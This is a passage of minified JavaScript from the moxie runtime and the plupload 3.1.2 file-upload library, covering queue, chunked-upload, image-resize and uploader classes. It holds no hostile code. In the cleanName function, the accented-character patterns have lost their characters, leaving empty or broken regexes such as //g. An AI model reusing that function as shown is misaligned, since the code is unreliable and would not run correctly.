e=this;p&&p.contentWindow&&(p.contentWindow.stop?p.contentWindow.stop():p.contentWindow.document.execCommand?p.contentWindow.document.execCommand("Stop"):p.src="about:blank"),l.call(this,function(){e.dispatchEvent("abort")})},destroy:function(){this.getRuntime().getShim().removeInstance(this.uid)}})}}),e("moxie/runtime/html4/image/Image",["moxie/runtime/html4/Runtime","moxie/runtime/html5/image/Image"],function(e,t){return e.Image=t}),function(e){for(var t=0;t<e.length;t++){for(var i=s,n=e[t],r=n.split(/[.\/]/),o=0;o<r.length-1;++o)i[r[o]]===y&&(i[r[o]]={}),i=i[r[o]];i[r[r.length-1]]=u[n]}}(["moxie/core/utils/Basic","moxie/core/utils/Encode","moxie/core/utils/Env","moxie/core/Exceptions","moxie/core/utils/Dom","moxie/core/EventTarget","moxie/runtime/Runtime","moxie/runtime/RuntimeClient","moxie/file/Blob","moxie/core/I18n","moxie/core/utils/Mime","moxie/file/FileInput","moxie/file/File","moxie/file/FileDrop","moxie/file/FileReader","moxie/core/utils/Url","moxie/runtime/RuntimeTarget","moxie/xhr/FormData","moxie/xhr/XMLHttpRequest","moxie/image/Image","moxie/core/utils/Events","moxie/runtime/html5/image/ResizerCanvas"])}(this)}.apply(e,arguments),e.moxie};"function"==typeof define&&define.amd?define("moxie",[],i):"object"==typeof module&&module.exports?module.exports=i():e.moxie=i()}(this||window),function(e,t){var i=function(){var e={};return function(w){!function(s,a){"use strict";function e(o,e,s){if("string"!=typeof o)throw"invalid module definition, module id must be defined and be a string";if(e===a)throw"invalid module definition, dependencies must be specified";if(s===a)throw"invalid module definition, definition function must be specified";!function(e,t){for(var i,n=[],r=0;r<e.length;++r){if(!(i=c[e[r]]||u(e[r])))throw"module definition dependecy not found: "+e[r];n.push(i)}(function(){c[o]=s.apply(null,arguments)}).apply(null,n)}(e)}function u(e){for(var t=s,i=e.split(/[.\/]/),n=0;n<i.length;++n){if(!t[i[n]])return;t=t[i[n]]}return t}var c={};e("plupload",[],function(){var e=w,r=e.core.utils;return r.Env.global_event_dispatcher="plupload.EventTarget.instance.dispatchEvent",{VERSION:"3.1.2",STOPPED:1,STARTED:2,QUEUED:1,UPLOADING:2,FAILED:4,DONE:5,GENERIC_ERROR:-100,HTTP_ERROR:-200,IO_ERROR:-300,SECURITY_ERROR:-400,INIT_ERROR:-500,FILE_SIZE_ERROR:-600,FILE_EXTENSION_ERROR:-601,FILE_DUPLICATE_ERROR:-602,IMAGE_FORMAT_ERROR:-700,MEMORY_ERROR:-701,IMAGE_DIMENSIONS_ERROR:-702,OPTION_ERROR:-800,moxie:e,ua:r.Env,typeOf:r.Basic.typeOf,clone:r.Basic.clone,inherit:r.Basic.inherit,extend:r.Basic.extend,extendImmutable:r.Basic.extendImmutable,extendIf:r.Basic.extendIf,inSeries:r.Basic.inSeries,inParallel:r.Basic.inParallel,guid:r.Basic.guid,getAll:function(e){var t,i=[];"array"!==r.Basic.typeOf(e)&&(e=[e]);for(var n=e.length;n--;)(t=r.Dom.get(e[n]))&&i.push(t);return i.length?i:null},get:r.Dom.get,each:r.Basic.each,getPos:r.Dom.getPos,getSize:r.Dom.getSize,xmlEncode:function(e){var t={"<":"lt",">":"gt","&":"amp",'"':"quot","'":"#39"};return e?(""+e).replace(/[<>&\"\']/g,function(e){return t[e]?"&"+t[e]+";":e}):e},toArray:r.Basic.toArray,inArray:r.Basic.inArray,addI18n:e.core.I18n.addI18n,translate:e.core.I18n.translate,sprintf:r.Basic.sprintf,isEmptyObj:r.Basic.isEmptyObj,hasClass:r.Dom.hasClass,addClass:r.Dom.addClass,removeClass:r.Dom.removeClass,getStyle:r.Dom.getStyle,addEvent:r.Events.addEvent,removeEvent:r.Events.removeEvent,removeAllEvents:r.Events.removeAllEvents,cleanName:function(e){var t,i;for(i=[/[-]/g,"A",/[-]/g,"a",//g,"C",//g,"c",/[-]/g,"E",/[-]/g,"e",/[-]/g,"I",/[-]/g,"i",//g,"N",//g,"n",/[-]/g,"O",/[-]/g,"o",/[-]/g,"U",/[-]/g,"u"],t=0;t<i.length;t+=2)e=e.replace(i[t],i[t+1]);return(e=e.replace(/\s+/g,"_")).replace(/[^a-z0-9_\-\.]+/gi,"")},buildUrl:function(e,t){var i="";return r.Basic.each(t,function(e,t){i+=(i?"&":"")+encodeURIComponent(t)+"="+encodeURIComponent(e)}),i&&(e+=(0<e.indexOf("?")?"&":"?")+i),e},formatSize:function(e){function t(e,t){return Math.round(e*Math.pow(10,t))/Math.pow(10,t)}var i=this;if(e=parseInt(e,10),isNaN(e))return i.translate("N/A");var n=Math.pow(1024,4);return n<e?t(e/n,1)+" "+i.translate("tb"):e>(n/=1024)?t(e/n,1)+" "+i.translate("gb"):e>(n/=1024)?t(e/n,1)+" "+i.translate("mb"):1024<e?Math.round(e/1024)+" "+i.translate("kb"):e+" "+i.translate("b")},mimes2extList:w.core.utils.Mime.mimes2extList,resolveUrl:r.Url.resolveUrl,parseSize:r.Basic.parseSizeStr,delay:r.Basic.delay,EventTarget:w.core.EventTarget,Runtime:w.runtime.Runtime,FileInput:w.file.FileInput,FileReader:w.file.FileReader}}),e("plupload/core/Collection",["plupload"],function(){var i=function(){var n,r={},o=0;plupload.extend(this,{count:function(){return o},hasKey:function(e){return r.hasOwnProperty(e)},get:function(e){return r[e]},first:function(){for(var e in r)return r[e]},last:function(){return n},toObject:function(){return r},add:function(e,t){var i=this;return"object"!=typeof e||t?r.hasOwnProperty(e)?i.update.apply(i,arguments):(r[e]=n=t,void o++):plupload.each(e,function(e,t){i.add(t,e)})},remove:function(e){if(this.hasKey(e)){var t=r[e];delete r[e],o--,n===t&&(n=function(){var e;for(e in r);return r[e]}())}},extract:function(e){var t=this.get(e);return this.remove(e),t},shift:function(){var e,t;for(t in r)return e=r[t],this.remove(t),e},update:function(e,t){r[e]=t},each:function(e){plupload.each(r,e)},combineWith:function(){var t=new i;return t.add(r),plupload.each(arguments,function(e){e instanceof i&&t.add(e.toObject())}),t},clear:function(){r={},n=null,o=0}})};return i}),e("plupload/core/ArrCollection",["plupload"],function(i){return function(){var n=[];i.extend(this,{count:function(){return n.length},hasKey:function(e){return-1<this.getIdx(e)},get:function(e){var t=this.getIdx(e);return-1<t?n[t]:null},getIdx:function(e){for(var t=0,i=n.length;t<i;t++)if(n[t].uid===e)return t;return-1},getByIdx:function(e){return n[e]},first:function(){return n[0]},last:function(){return n[n.length-1]},add:function(e){e=arguments[1]||e;var t=this.getIdx(e.uid);return-1<t?(n[t]=e,t):(n.push(e),n.length-1)},remove:function(e){return!!this.extract(e)},splice:function(e,t){return e="undefinded"===i.typeOf(e)?0:Math.max(e,0),t="undefinded"!==i.typeOf(t)&&e+t<n.length?t:n.length-e,n.splice(e,t)},extract:function(e){var t=this.getIdx(e);return-1<t?n.splice(t,1):null},shift:function(){return n.shift()},update:function(e,t){var i=this.getIdx(e);return-1<i&&(n[i]=t,!0)},each:function(e){i.each(n,e)},combineWith:function(){return Array.prototype.concat.apply(this.toArray(),arguments)},sort:function(e){n.sort(e||function(e,t){return e.priority-t.priority})},clear:function(){n=[]},toObject:function(){for(var e={},t=0,i=n.length;t<i;t++)e[n[t].uid]=n[t];return e},toArray:function(){return Array.prototype.slice.call(n)}})}}),e("plupload/core/Optionable",["plupload"],function(o){return function(e){function t(){e.apply(this,arguments),this._options={}}return o.inherit(t,e),o.extend(t.prototype,{setOption:function(e,t,i){var n,r=this;return"object"==typeof e?(i=t,void o.each(e,function(e,t){r.setOption(t,e,i)})):void((!i||r._options.hasOwnProperty(e))&&(n=o.clone(r._options[e]),"object"===o.typeOf(t)&&"object"===o.typeOf(r._options[e])?o.extend(r._options[e],t):r._options[e]=t,r.trigger("OptionChanged",e,t,n)))},getOption:function(e){if(!e)return this._options;var t=this._options[e];return-1<o.inArray(o.typeOf(t),["array","object"])?o.extendImmutable({},t):t},setOptions:function(e,t){"object"==typeof e&&this.setOption(e,t)},getOptions:function(){return this.getOption()}}),t}(w.core.EventTarget)}),e("plupload/core/Queueable",["plupload","plupload/core/Optionable"],function(t,e){return function(e){function i(){e.apply(this,arguments),this.uid=t.guid(),this.state=i.IDLE,this.processed=0,this.total=0,this.percent=0,this.retries=0,this.priority=0,this.startedTimestamp=0,this.processedTimestamp=0}return i.IDLE=1,i.PROCESSING=2,i.PAUSED=6,i.RESUMED=7,i.DONE=5,i.FAILED=4,i.DESTROYED=8,t.inherit(i,e),t.extend(i.prototype,{start:function(){var e=this.state;return this.state!==i.PROCESSING&&(this.startedTimestamp||(this.startedTimestamp=+new Date),this.state=i.PROCESSING,this.trigger("statechanged",this.state,e),this.trigger("started"),!0)},pause:function(){var e=this.state;return-1!==t.inArray(this.state,[i.IDLE,i.RESUMED,i.PROCESSING])&&(this.processed=this.percent=0,this.loaded=this.processed,this.state=i.PAUSED,this.trigger("statechanged",this.state,e),this.trigger("paused"),!0)},resume:function(){var e=this.state;return(this.state===i.PAUSED||this.state===i.RESUMED)&&(this.state=i.RESUMED,this.trigger("statechanged",this.state,e),this.trigger("resumed"),!0)},stop:function(){var e=this.state;return this.state!==i.IDLE&&(this.processed=this.percent=0,this.loaded=this.processed,this.startedTimestamp=0,this.state=i.IDLE,this.trigger("statechanged",this.state,e),this.trigger("stopped"),!0)},done:function(e){var t=this.state;return this.state!==i.DONE&&(this.processed=this.total,this.loaded=this.processed,this.percent=100,this.processedTimestamp=+new Date,this.state=i.DONE,this.trigger("statechanged",this.state,t),this.trigger("done",e),this.trigger("processed"),!0)},failed:function(e){var t=this.state;return this.state!==i.FAILED&&(this.processed=this.percent=0,this.loaded=this.processed,this.processedTimestamp=+new Date,this.state=i.FAILED,this.trigger("statechanged",this.state,t),this.trigger("failed",e),this.trigger("processed"),!0)},progress:function(e,t){t&&(this.total=t),this.processed=Math.min(e,this.total),this.loaded=this.processed,this.percent=Math.ceil(this.processed/this.total*100),this.trigger({type:"progress",loaded:this.processed,total:this.total})},destroy:function(){var e=this.state;return this.state!==i.DESTROYED&&(this.state=i.DESTROYED,this.trigger("statechanged",this.state,e),this.trigger("destroy"),this.unbindAll(),!0)}}),i}(e)}),e("plupload/core/Stats",[],function(){return function(){var e=this;e.size=0,e.total=0,e.loaded=0,e.uploaded=0,e.done=0,e.failed=0,e.queued=0,e.paused=0,e.processing=0,e.paused=0,e.percent=0,e.bytesPerSec=0,e.processedPerSec=0,e.reset=function(){e.size=e.total=e.loaded=e.processed=e.uploaded=e.done=e.failed=e.queued=e.processing=e.paused=e.percent=e.bytesPerSec=e.processedPerSec=0}}}),e("plupload/core/Queue",["plupload","plupload/core/ArrCollection","plupload/core/Queueable","plupload/core/Stats"],function(r,o,s,a){return function(t){function i(e){t.apply(this,arguments),this._queue=new o,this.stats=new a,this._options=r.extend({},this._options,{max_slots:1,max_retries:0,auto_start:!1,finish_active:!1},e)}function n(){var e;if(this.state!==s.PROCESSING&&this.state!==s.PAUSED)return!1;if(this.stats.processing<this.getOption("max_slots")&&(e=function(){var t;return this.forEachItem(function(e){return e.state===s.IDLE||e.state===s.RESUMED?(t=e,!1):void 0}),t||null}.call(this))){if(e.trigger("beforestart"))return e.setOptions(this.getOptions()),e.start();e.pause(),n.call(this)}return!1}return r.inherit(i,t),r.extend(i.prototype,{count:function(){return this._queue.count()},start:function(){return!!i.parent.start.call(this)&&n.call(this)},pause:function(){return!!i.parent.pause.call(this)&&void this.forEachItem(function(e){e.pause()})},stop:function(){return!(!i.parent.stop.call(this)||this.getOption("finish_active"))&&void(this.isActive()&&this.forEachItem(function(e){e.stop()}))},forEachItem:function(e){this._queue.each(e)},getItem:function(e){return this._queue.get(e)},addItem:function(e){var t=this;e.bind("Started",function(){t.calcStats()&&r.delay.call(t,n)}),e.bind("Resumed",function(){t.start()}),e.bind("Paused",function(){t.calcStats()&&r.delay.call(t,function(){n.call(t)||t.stats.processing||t.pause()})}),e.bind("Processed Stopped",function(){t.calcStats()&&r.delay.call(t,function(){n.call(t)||this.isStopped()||this.isActive()||t.stop()})}),e.bind("Progress",function(){t.calcStats()&&t.trigger("Progress",t.stats.processed,t.stats.total,t.stats)}),e.bind("Failed",function(){t.getOption("max_retries")&&this.retries<t.getOption("max_retries")&&(this.stop(),this.retries++)}),this._queue.add(e.uid,e),this.calcStats(),e.trigger("Queued"),(t.getOption("auto_start")||t.state===s.PAUSED)&&r.delay.call(this,this.start)},extractItem:function(e){var t=this._queue.get(e);return t&&(this.stopItem(t.uid),this._queue.remove(e),this.calcStats()),t},removeItem:function(e){var t=this.extractItem(e);return!!t&&(t.destroy(),!0)},stopItem:function(e){var t=this._queue.get(e);return!!t&&t.stop()},pauseItem:function(e){var t=this._queue.get(e);return!!t&&t.pause()},resumeItem:function(e){var t=this._queue.get(e);return!!t&&(r.delay.call(this,function(){this.start()}),t.resume())},splice:function(e,t){return this._queue.splice(e,t)},isActive:function(){return this.stats&&(this.stats.processing||this.stats.paused)},isStopped:function(){return this.state===s.IDLE||this.state===s.DESTROYED},countSpareSlots:function(){return Math.max(this.getOption("max_slots")-this.stats.processing,0)},toArray:function(){return this._queue.toArray()},clear:function(){var e=this;return e.state!==s.IDLE?(e.bindOnce("Stopped",function(){e.clear()}),e.stop()):(e._queue.clear(),void e.stats.reset())},calcStats:function(){var t=this,i=t.stats,n=0,r=0;return!!i&&(i.reset(),t.forEachItem(function(e){switch(e.state){case s.DONE:i.done++,i.uploaded=i.done;break;case s.FAILED:i.failed++;break;case s.PROCESSING:i.processing++;break;case s.PAUSED:i.paused++;break;default:i.queued++}n+=e.processed,(!e.processedTimestamp||e.processedTimestamp>t.startedTimestamp)&&(r+=n),i.processedPerSec=Math.ceil(r/((+new Date-t.startedTimestamp||1)/1e3)),i.processed=n,i.total+=e.total,i.total&&(i.percent=Math.ceil(i.processed/i.total*100))}),t.percent=i.percent,i.loaded=i.processed,i.size=i.total,i.bytesPerSec=i.processedPerSec,!0)},destroy:function(){var e=this;return e.state!==s.DESTROYED&&(e.state!==s.IDLE?(e.bindOnce("Stopped",function(){r.delay.call(e,e.destroy)}),e.stop()):(e.clear(),i.parent.destroy.call(this),e._queue=e.stats=null,!0))}}),i}(s)}),e("plupload/QueueUpload",["plupload","plupload/core/Queue"],function(t,n){return function(e){function i(e){n.call(this,{max_slots:1,max_retries:0,auto_start:!1,finish_active:!1,url:!1,chunk_size:0,multipart:!0,http_method:"POST",params:{},headers:!1,file_data_name:"file",send_file_name:!0,stop_on_fail:!0}),this.setOption=function(e,t){"object"!=typeof e&&"max_upload_slots"==e&&(e="max_slots"),i.prototype.setOption.call(this,e,t,!0)},this.setOptions(e)}return t.inherit(i,e),i}(n)}),e("plupload/QueueResize",["plupload","plupload/core/Queue"],function(t,n){return function(e){function i(e){n.call(this,{max_slots:1,max_retries:0,auto_start:!1,finish_active:!1,resize:{}}),this.setOption=function(e,t){"object"!=typeof e&&"max_resize_slots"==e&&(e="max_slots"),i.prototype.setOption.call(this,e,t,!0)},this.setOptions(e)}return t.inherit(i,e),i}(n)}),e("plupload/ChunkUploader",["plupload","plupload/core/Collection","plupload/core/Queueable"],function(l,e,d){function i(u){var c;d.call(this),this._options={file_data_name:"file",headers:!1,http_method:"POST",multipart:!0,params:{},send_file_name:!0,url:!1},l.extend(this,{start:function(){var e,i,t,n,r,o=this,s=this.state,a=o._options;if(this.state===d.PROCESSING)return!1;this.startedTimestamp||(this.startedTimestamp=+new Date),this.state=d.PROCESSING,this.trigger("statechanged",this.state,s),(c=new h).upload&&(c.upload.onprogress=function(e){o.progress(e.loaded,e.total)}),c.onload=function(){var e={response:this.responseText,status:this.status,responseHeaders:this.getAllResponseHeaders()};return this.status<200||400<=this.status?o.failed(e):void o.done(e)},c.onerror=function(){o.failed()},c.onloadend=function(){setTimeout(function(){c&&(c.destroy(),c=null)},1)};try{e=a.multipart?a.url:(t=a.url,n=a.params,r="",l.each(n,function(e,t){r+=(r?"&":"")+encodeURIComponent(t)+"="+encodeURIComponent(e)}),r&&(t+=(0<t.indexOf("?")?"&":"?")+r),t),c.open(a.http_method,e,!0),l.isEmptyObj(a.headers)||l.each(a.headers,function(e,t){c.setRequestHeader(t,e)}),a.multipart?(i=new p,l.isEmptyObj(a.params)||l.each(a.params,function(e,t){i.append(t,e)}),i.append(a.file_data_name,u),c.send(i)):((l.isEmptyObj(a.headers)||!c.hasRequestHeader("content-type"))&&c.setRequestHeader("content-type","application/octet-stream"),c.send(u)),this.trigger("started")}catch(e){o.failed()}},stop:function(){c&&(c.abort(),c.destroy(),c=null),i.prototype.stop.call(this)},setOption:function(e,t){i.prototype.setOption.call(this,e,t,!0)},setOptions:function(e){i.prototype.setOption.call(this,e,!0)},destroy:function(){this.stop(),i.prototype.destroy.call(this)}})}var h=w.xhr.XMLHttpRequest,p=w.xhr.FormData;return l.inherit(i,d),i}),e("plupload/FileUploader",["plupload","plupload/core/Collection","plupload/core/Queueable","plupload/ChunkUploader"],function(p,e,m,f){function t(a,u){function c(){var t=0;return d.each(function(e){e.state===m.DONE&&(t+=e.end-e.start)}),t}function l(){for(var e=0;e<h&&d.hasKey(e);)e++;return e}var d=new e,h=1;m.call(this),this._options={chunk_size:0,params:{},send_file_name:!0,stop_on_fail:!0},p.extend(this,{name:a.name,start:function(){var e,i=this,t=this.state;return this.state!==m.PROCESSING&&(this.startedTimestamp||(this.startedTimestamp=+new Date),this.state=m.PROCESSING,this.trigger("statechanged",this.state,t),i._options.send_file_name&&(i._options.params.name=i.target_name||i.name),i._options.chunk_size?(h=Math.ceil(a.size/i._options.chunk_size),i.uploadChunk(!1,!0)):((e=new f(a)).bind("progress",function(e){i.progress(e.loaded,e.total)}),e.bind("done",function(e,t){i.done(t)}),e.bind("failed",function(e,t){i.failed(t)}),e.setOptions(i._options),u.addItem(e)),void this.trigger("started"))},uploadChunk:function(e,i){var t,n,r=this,o=this.getOption("chunk_size"),s={};return s.seq=parseInt(e,10)||l(),s.start=s.seq*o,s.end=Math.min(s.start+o,a.size),s.total=a.size,!(s.start<0||s.start>=a.size||(n=p.extendImmutable({},this.getOptions(),{params:{chunk:s.seq,chunks:h}}),(t=new f(a.slice(s.start,s.end,a.type))).bind("progress",function(e){r.progress(c()+e.loaded,a.size)}),t.bind("failed",function(e,t){d.add(s.seq,p.extend({state:m.FAILED},s)),r.trigger("chunkuploadfailed",p.extendImmutable({},s,t)),n.stop_on_fail&&r.failed(t)}),t.bind("done",function(e,t){d.add(s.seq,p.extend({state:m.DONE},s)),r.trigger("chunkuploaded",p.extendImmutable({},s,t)),c()>=a.size?(r.progress(a.size,a.size),r.done(t)):i&&p.delay(function(){r.uploadChunk(l(),i)})}),t.bind("processed",function(){this.destroy()}),t.setOptions(n),d.add(s.seq,p.extend({state:m.PROCESSING},s)),u.addItem(t),i&&u.countSpareSlots()&&r.uploadChunk(l(),i),0))},destroy:function(){t.prototype.destroy.call(this),d.clear()}})}return p.inherit(t,m),t}),e("plupload/ImageResizer",["plupload","plupload/core/Queueable"],function(e,t){function i(n){t.call(this),this._options={type:"image/jpeg",quality:90,crop:!1,fit:!0,preserveHeaders:!0,resample:"default",multipass:!0},this.setOption=function(e){("object"==typeof e||this._options.hasOwnProperty(e))&&i.prototype.setOption.apply(this,arguments)},this.start=function(e){var t,i=this;e&&this.setOptions(e.resize),(t=new r).bind("load",function(){this.resize(i.getOptions())}),t.bind("resize",function(){i.done(this.getAsBlob(i.getOption("type"),i.getOption("quality"))),this.destroy()}),t.bind("error",function(){i.failed(),this.destroy()}),t.load(n,i.getOption("runtimeOptions"))}}var r=w.image.Image;return e.inherit(i,t),e.Image=r,i}),e("plupload/File",["plupload","plupload/core/Queueable","plupload/FileUploader","plupload/ImageResizer"],function(o,i,s,a){function e(n,t,r){i.call(this),o.extend(this,{id:this.uid,name:n.name,target_name:null,type:n.type,size:n.size,origSize:n.size,start:function(){var e,t=this.state;return this.state!==i.PROCESSING&&(this.state=i.PROCESSING,this.trigger("statechanged",this.state,t),this.trigger("started"),!o.isEmptyObj(this._options.resize)&&(e=this.type,-1<o.inArray(e,["image/jpeg","image/png"]))&&function(e,t){if(e.ruid){var i=o.Runtime.getInfo(e.ruid);if(i)return i.can("send_binary_string")}return!1}(n)?this.resizeAndUpload():this.upload(),!0)},getSource:function(){return n},getNative:function(){return this.getFile().getSource()},resizeAndUpload:function(){var i=this,e=i.getOptions(),t=new a(n);t.bind("progress",function(e){i.progress(e.loaded,e.total)}),t.bind("done",function(e,t){t=t,i.upload()}),t.bind("failed",function(){i.upload()}),t.setOption("runtimeOptions",{runtime_order:e.runtimes,required_caps:e.required_features,preferred_caps:e.preferred_caps,swf_url:e.flash_swf_url,xap_url:e.silverlight_xap_url}),r.addItem(t)},upload:function(){var i=this,e=new s(n,t);e.bind("paused",function(){i.pause()}),e.bind("resumed",function(){this.start()}),e.bind("started",function(){i.trigger("startupload")}),e.bind("progress",function(e){i.progress(e.loaded,e.total)}),e.bind("done",function(e,t){i.done(t)}),e.bind("failed",function(e,t){i.failed(t)}),e.setOptions(i.getOptions()),e.start()},destroy:function(){e.prototype.destroy.call(this),n=null}})}return o.inherit(e,i),e}),e("plupload/Uploader",["plupload","plupload/core/Collection","plupload/core/Queue","plupload/QueueUpload","plupload/QueueResize","plupload/File"],function(p,e,m,f,g,x){function v(e){function o(){var e=a[0]||u[0];return!!e&&e.getRuntime().uid}function i(e,t){if(e.getOption("unique_names")){var i=t.name.match(/\.([^.]+)$/),n="part";i&&(n=i[1]),t.target_name=t.id+"."+n}}function n(e,t){t.code===p.INIT_ERROR?e.destroy():t.code===p.HTTP_ERROR&&e.state==p.STARTED&&e.trigger("CancelUpload")}function s(e){e.forEachItem(function(e){e.destroy()}),a.length&&(p.each(a,function(e){e.destroy()}),a=[]),u.length&&(p.each(u,function(e){e.destroy()}),u=[]),d=!1,c&&c.destroy(),l&&l.destroy(),t=c=l=null}var c,l,r,a=[],u=[],d=!1,h=!1,t=(r=p.extend({backward_compatibility:!0,chunk_size:0,file_data_name:"file",filters:{mime_types:"*",prevent_duplicates:!1,max_file_size:0},flash_swf_url:"js/Moxie.swf",http_method:"POST",max_resize_slots:1,max_retries:0,max_upload_slots:1,multipart:!0,multipart_params:{},multi_selection:!0,params:{},resize:!1,runtimes:p.Runtime.order,send_chunk_number:!0,send_file_name:!0,silverlight_xap_url:"js/Moxie.xap",required_features:!1,preferred_caps:!1},e),p.each(r,function(e,t){r[t]=y(t,e,r)}),r);m.call(this),p.extend(this,{_options:t,id:this.uid,state:p.STOPPED,features:{},settings:t,runtime:null,files:[],total:this.stats,init:function(){var e,t,r=this;return"function"==typeof(e=r.getOption("preinit"))?e(r):p.each(e,function(e,t){r.bind(t,e)}),function(){this.bind("FilesAdded FilesRemoved",function(e){e.trigger("QueueChanged"),e.refresh()},this,999),this.bind("BeforeUpload",i),this.bind("Stopped",function(e){e.trigger("UploadComplete")}),this.bind("Error",n),this.bind("Destroy",s)}.call(r),p.each(["container","browse_button","drop_element"],function(e){return null===r.getOption(e)?!(t={code:p.INIT_ERROR,message:p.sprintf(p.translate("%s specified, but cannot be found."),e)}):void 0}),t?r.trigger("Error",t):r.getOption("browse_button")||r.getOption("drop_element")?void function(e){var n=this,r=0,t=[],o={runtime_order:n.getOption("runtimes"),required_caps:n.getOption("required_features"),preferred_caps:n.getOption("preferred_caps"),swf_url:n.getOption("flash_swf_url"),xap_url:n.getOption("silverlight_xap_url")};p.each(n.getOption("runtimes").split(/\s*,\s*/),function(e){n.getOption(e)&&(o[e]=n.getOption(e))}),n.getOption("browse_button")&&p.each(n.getOption("browse_button"),function(i){t.push(function(t){var e=new w.file.FileInput(p.extend({},o,{accept:n.getOption("filters").mime_types,name:n.getOption("file_data_name"),multiple:n.getOption("multi_selection"),container:n.getOption("container"),browse_button:i}));e.onready=function(){var e=p.Runtime.getInfo(this.ruid);p.extend(n.features,{chunks:e.can("slice_blob"),multipart:e.can("send_multipart"),multi_selection:e.can("select_multiple")}),r++,a.push(this),t()},e.onchange=function(){n.addFile(this.files)},e.bind("mouseenter mouseleave mousedown mouseup",function(e){h||(n.getOption("browse_button_hover")&&("mouseenter"===e.type?p.addClass(i,n.getOption("browse_button_hover")):"mouseleave"===e.type&&p.removeClass(i,n.getOption("browse_button_hover"))),n.getOption("browse_button_active")&&("mousedown"===e.type?p.addClass(i,n.getOption("browse_button_active")):"mouseup"===e.type&&p.removeClass(i,n.getOption("browse_button_active"))))}),e.bind("mousedown",function(){n.trigger("Browse")}),e.bind("error runtimeerror",function(){e=null,t()}),e.init()})}),n.getOption("drop_element")&&p.each(n.getOption("drop_element"),function(i){t.push(function(t){var e=new w.file.FileDrop(p.extend({},o,{drop_zone:i}));e.onready=function(){var e=p.Runtime.getInfo(this.ruid);p.extend(n.features,{chunks:e.can("slice_blob"),multipart:e.can("send_multipart"),dragdrop:e.can("drag_and_drop")}),r++,u.push(this),t()},e.ondrop=function(){n.addFile(this.files)},e.bind("error runtimeerror",function(){e=null,t()}),e.init()})}),p.inParallel(t,function(){"function"==typeof e&&e(r)})}.call(r,function(e){var t,i=r.getOption("init"),n=p.extendImmutable({},r.getOption(),{auto_start:!0});"function"==typeof i?i(r):p.each(i,function(e,t){r.bind(t,e)}),e?(d=!0,t=p.Runtime.getInfo(o()),c=new f(n),l=new g(n),r.trigger("Init",{ruid:t.uid,runtime:r.runtime=t.type}),r.trigger("PostInit")):r.trigger("Error",{code:p.INIT_ERROR,message:p.translate("Init error.")})}):r.trigger("Error",{code:p.INIT_ERROR,message:p.translate("You must specify either browse_button or drop_element.")})},setOption:function(e,t){return d&&-1<p.inArray(e,["container","browse_button","drop_element","runtimes","multi_selection","flash_swf_url","silverlight_xap_url"])?this.trigger("Error",{code:p.OPTION_ERROR,message:p.sprintf(p.translate("%s option cannot be changed.")),option:e}):("object"!=typeof e&&(t=y(e,t,this._options),c&&c.setOption(e,t),l&&l.setOption(e,t)),void v.prototype.setOption.call(this,e,t))},refresh:function(){a.length&&p.each(a,function(e){e.trigger("Refresh")}),u.length&&p.each(u,function(e){e.trigger("Refresh")}),this.trigger("Refresh")},stop:function(){v.prototype.stop.call(this)&&this.state!=p.STOPPED&&this.trigger("CancelUpload")},disableBrowse:function(){h=arguments[0]===_||arguments[0],a.length&&p.each(a,function(e){e.disable(h)}),this.trigger("DisableBrowse",h)},getFile:function(e){return this.getItem(e)},addFile:function(e,s){var i,a=this,n=[],u=[];i=o(),function e(o){var t=p.typeOf(o);if(o instanceof w.file.File){if(!o.ruid&&!o.isDetached()){if(!i)return!1;o.ruid=i,o.connectRuntime(i)}n.push(function(n){var r,e,t;r=o,e=function(e){var t,i;e||(t=new x(o,c,l),s&&(t.name=s),(i=t).bind("beforestart",function(e){return a.trigger("BeforeUpload",e.target)}),i.bind("startupload",function(){a.trigger("UploadFile",this)}),i.bind("progress",function(){a.trigger("UploadProgress",this)}),i.bind("done",function(e,t){a.trigger("FileUploaded",this,t)}),i.bind("failed",function(e,t){a.trigger("Error",p.extend({code:p.HTTP_ERROR,message:p.translate("HTTP Error."),file:this},t))}),a.addItem(t),u.push(t),a.trigger("FileFiltered",t)),p.delay(n)},t=[],p.each(a.getOption("filters"),function(e,i){E[i]&&t.push(function(t){E[i].call(a,e,r,function(e){t(!e)})})}),p.inParallel(t,e)})}else o instanceof w.file.Blob?(e(o.getSource()),o.destroy()):-1!==p.inArray(t,["file","blob"])?e(new w.file.File(null,o)):"node"===t&&"filelist"===p.typeOf(o.files)?p.each(o.files,e):"array"===t&&(s=null,p.each(o,e))}(e),n.length&&p.inParallel(n,function(){u.length&&a.trigger("FilesAdded",u)})},removeFile:function(e){var t=this.extractItem("string"==typeof e?e:e.uid);t&&(this.trigger("FilesRemoved",[t]),t.destroy())},splice:function(){var e=0,t=p.STARTED==this.state,i=m.prototype.splice.apply(this,arguments);if(i.length){for(this.trigger("FilesRemoved",i),t&&this.stop(),e=0;e<i.length;e++)i[e].destroy();t&&this.start()}},dispatchEvent:function(e){var t,i;if(e=e.toLowerCase(),t=this.hasEventListener(e)){t.sort(function(e,t){return t.priority-e.priority}),(i=[].slice.call(arguments)).shift(),i.unshift(this);for(var n=0;n<t.length;n++)if(!1===t[n].fn.apply(t[n].scope,i))return!1}return!0},bind:function(e,t,i,n){p.Uploader.prototype.bind.call(this,e,t,n,i)}}),t.backward_compatibility&&(this.bind("FilesAdded FilesRemoved",function(e){e.files=e.toArray()},this,999),this.bind("OptionChanged",function(e,t,i){e.settings[t]="object"==typeof i?p.extend({},i):i},this,999))}function s(e){function i(e,t,i){var n={chunks:"slice_blob",jpgresize:"send_binary_string",pngresize:"send_binary_string",progress:"report_upload_progress",multi_selection:"select_multiple",dragdrop:"drag_and_drop",drop_element:"drag_and_drop",headers:"send_custom_headers",urlstream_upload:"send_binary_string",canSendBinary:"send_binary",triggerDialog:"summon_file_dialog"};n[e]?r[n[e]]=t:i||(r[e]=t)}var t=e.required_features,r={};return"string"==typeof t?p.each(t.split(/\s*,\s*/),function(e){i(e,!0)}):"object"==typeof t?p.each(t,function(e,t){i(t,e)}):!0===t&&(e.chunk_size&&0<e.chunk_size&&(r.slice_blob=!0),p.isEmptyObj(e.resize)&&!1!==e.multipart||(r.send_binary_string=!0),e.http_method&&(r.use_http_method=e.http_method),p.each(e,function(e,t){i(t,!!e,!0)})),r}function y(e,t,i){switch(e){case"chunk_size":(t=p.parseSize(t))&&(i.send_file_name=!0);break;case"headers":var n={};return"object"==typeof 